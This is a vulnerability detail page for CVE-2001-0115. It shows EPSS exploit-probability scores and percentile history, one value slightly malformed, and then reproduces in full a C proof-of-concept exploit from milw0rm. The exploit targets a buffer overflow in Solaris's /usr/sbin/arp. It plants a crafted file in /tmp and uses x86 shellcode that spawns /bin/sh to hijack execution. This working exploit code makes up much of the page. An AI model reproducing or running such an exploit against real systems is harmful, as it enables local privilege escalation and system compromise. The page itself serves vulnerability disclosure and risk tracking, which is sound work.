CVE-2001-0115 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.23%
2025-03-30	–	–	–	–	0.23%
2025-04-15	–	–	–	–	0.23%
2025-04-15	–	–	–	–	0.23,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	44%
2025-03-30	43%
2025-04-15	46%
2025-04-15	46%

/* arp overflow proof of concept by ahmed@securityfocus.com shellcode originally written by Cheez Whiz. tested on x86 solaris 7,8beta default should work. if not, arg1 = offset. +- by 100's Copyright Security-Focus.com, 11/2000 */ long get_esp() { __asm__("movl %esp,%eax"); } int main(int ac, char **av) { char shell[] = "\xeb\x45\x9a\xff\xff\xff\xff\x07\xff" "\xc3\x5e\x31\xc0\x89\x46\xb7\x88\x46" "\xbc\x88\x46\x07\x89\x46\x0c\x31\xc0" "\xb0\x2f\xe8\xe0\xff\xff\xff\x52\x52" "\x31\xc0\xb0\xcb\xe8\xd5\xff\xff\xff" "\x83\xc4\x08\x31\xc0\x50\x8d\x5e\x08" "\x53\x8d\x1e\x89\x5e\x08\x53\xb0\x3b" "\xe8\xbe\xff\xff\xff\x83\xc4\x0c\xe8" "\xbe\xff\xff\xff\x2f\x62\x69\x6e\x2f" "\x73\x68\xff\xff\xff\xff\xff\xff\xff" "\xff\xff"; unsigned long magic = 0x8047b78; unsigned long r = get_esp() + 600; unsigned char buf[300]; int f; if (ac == 2) r += atoi(av[1]); memset(buf,0x61,sizeof(buf)); memcpy(buf+52,&magic,4); memcpy(buf+76,&r,4); f = open("/tmp/ypx",O_CREAT|O_WRONLY,0600); write(f,"1 2 3 4 ",8); write(f,buf,sizeof(buf)); close(f); memset(buf,0x90,sizeof(buf)); memcpy(buf,"LOL=",4); memcpy(buf+(sizeof(buf)-strlen(shell)),shell,strlen(shell)); putenv(buf); system("/usr/sbin/arp -f /tmp/ypx"); unlink("/tmp/ypx"); } // milw0rm.com [2001-01-15]